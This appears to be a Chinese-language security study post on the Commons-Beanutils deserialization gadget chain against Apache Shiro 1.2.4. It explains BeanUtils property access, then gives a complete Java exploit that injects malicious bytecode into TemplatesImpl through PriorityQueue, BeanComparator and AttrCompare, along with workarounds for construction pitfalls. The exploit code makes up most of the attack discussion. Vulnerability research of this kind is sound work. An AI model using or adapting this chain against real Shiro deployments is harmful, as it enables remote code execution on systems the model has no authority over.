1. 1. Commons-beanutils
  2. 2. 完整 EXP
  3. 3. EXP构造逻辑
  4. 4. EXP构造坑点:

Shiro中不自带 Commons-Collections依赖,但是自带 Commons-Beanutils依赖,故可以尝试使用 CB链打 Shiro反序列化漏洞。

Commons-beanutils

Commons-Beanutils 是 Apache 软件基金会提供的一个开源 Java 库,旨在简化 Java Bean 对象的操作。它提供了便捷的工具来访问和修改 Java Bean 的属性,尤其是在动态或复杂的属性操作时,它使得代码更加简洁和高效。

User类,一个普通的 JavaBean:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public class User {
private String username;
private String password;
private String salt;

public User() {
}
public User(String username, String password, String salt) {
this.username = username;
this.password = password;
this.salt = salt;
}
//getter and setter
public String getUsername() {
System.out.println(username);
return username;
}
public void setUsername(String username) {
this.username = username;
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
public String getSalt() {
return salt;
}
public void setSalt(String salt) {
this.salt = salt;
}
}

正常调用 JavaBean:

1
2
3
4
5
6
7
public class demo {
public static void main(String[] args) throws Exception {
User user = new User();
user.setUsername("zhangsan");
user.getUsername();
}
}

使用 commons-beanutils调用 JavaBean:

1
2
3
4
5
6
7
8
9
10
11
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
public class demo {
public static void main(String[] args) throws Exception {
User user = new User();
//调用 setUsername方法
PropertyUtils.setProperty(user, "username", "zhangsan");
//调用 getUsername方法
PropertyUtils.getProperty(user, "username");
}
}

分析 TemplatesImpl时,类中有个 getter方法 - getOutputProperties也调用了 TemplatesImpl.newTransformer:

image-20250211124538309

可以在 Shiro中找哪里调用了 PropertyUtils.getProperty,构造 exp。

完整 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ConstantTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CB_chain {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class templatesImplClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
//_class不为 null
Field nameField = templatesImplClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaa");
//_bytecodes赋值恶意字节码
byte[] byteCode = Files.readAllBytes(Paths.get("/Users/gehansheng/Desktop/Tools/Commons_Collections/src/main/java/org/kgty/Evil.class"));
byte[][] byteCodes = {byteCode};
Field byteCodesField = templatesImplClass.getDeclaredField("_bytecodes");
byteCodesField.setAccessible(true);
byteCodesField.set(templates, byteCodes);
//_tfactory不为 null
Field tfactoryField = templatesImplClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
//PropertyUtils.getProperty(templates, "outputProperties");

BeanComparator beanComparator = new BeanComparator("outputProperties", new AttrCompare());
//beanComparator.setProperty("outputProperties");

//CC2中的思路,虽然目标可能没有CC,但是不影响反序列化
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));

PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(1);

Class priorityQueueClass = priorityQueue.getClass();
Field priorityQueueField = priorityQueueClass.getDeclaredField("comparator");
priorityQueueField.setAccessible(true);
priorityQueueField.set(priorityQueue, beanComparator);

serialize(priorityQueue);
deserialize();
}


public static void serialize(Object object) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("/Users/gehansheng/Desktop/Java代码审计/shiro/shiro-shiro-root-1.2.4/samples/web/src/test/java/org/apache/shiro/test/ser.txt"));
objectOutputStream.writeObject(object);
}

public static void deserialize() throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("/Users/gehansheng/Desktop/Java代码审计/shiro/shiro-shiro-root-1.2.4/samples/web/src/test/java/org/apache/shiro/test/ser.txt"));
objectInputStream.readObject();
}
}

EXP构造逻辑

1、首先已经确认了 PropertyUtils.getProperty(templates, “outputProperties”); 实现命令执行的目标,查找 getPropertyUtils调用位置,其在 BeanComparator中可控,property在构造函数中被赋值:

image-20250211174608639

image-20250211174735847

image-20250211174745664

2、查找 compare的用法,可以结合 CC4链的思路,java.util工具类中的 PriorityQueue类中的 readObject方法调用了 compare,正好符合反序列化条件:

image-20250211175328808

image-20250211175345669

image-20250211175401884

image-20250211180500050

comparator可以在构造函数中赋值可控:

image-20250211175543017

image-20250211175602157

EXP构造坑点:

1、向队列中第二次添加数据 - priorityQueue.add(1)时,提前触发 comparator.compare方法,到达下图断点位置,要在 Integer类中查找调用 getOutputProperties方法,但是 Integer类中没有这个 getter方法,从而产生报错:

image-20250211181107086

image-20250211181244519

可以利用 TransformingComparator类中的 compare方法,结合 new ConstantTransformer(1)返回常量,transformer在构造函数中赋值可控,虽然 TransformingCoparator是 commons-collections中的类,但是只是为了 priorityQueue.add(1)提前命令执行导致后续代码无法正常执行,不影响最终的序列化和反序列化结果:

image-20250211181738859

image-20250211182006630

具体实现代码:

1
2
3
4
5
6
7
8
9
10
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));

PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(1);
//将 priorityQueue中的 comparator属性改回 beanComparator
Class priorityQueueClass = priorityQueue.getClass();
Field priorityQueueField = priorityQueueClass.getDeclaredField("comparator");
priorityQueueField.setAccessible(true);
priorityQueueField.set(priorityQueue, beanComparator);

2、完全原生打 Shiro时,只有 commons-beanutils没有 commons-collections,但是 BeanComparator单参构造函数中使用了 CC中的类,会导致报错 - 找不到这个类:

image-20250211182837778

可以使用它的另一个构造函数,手动赋值 comparator

image-20250211194018669

前提是实现了 Serializable接口(可以被反序列化),并且依赖中存在,AttrCompare类就符合条件,构造即可:

image-20250211194324865

image-20250211194235921

cb链打 Shiro反序列化漏洞复现:

image-20250211194416202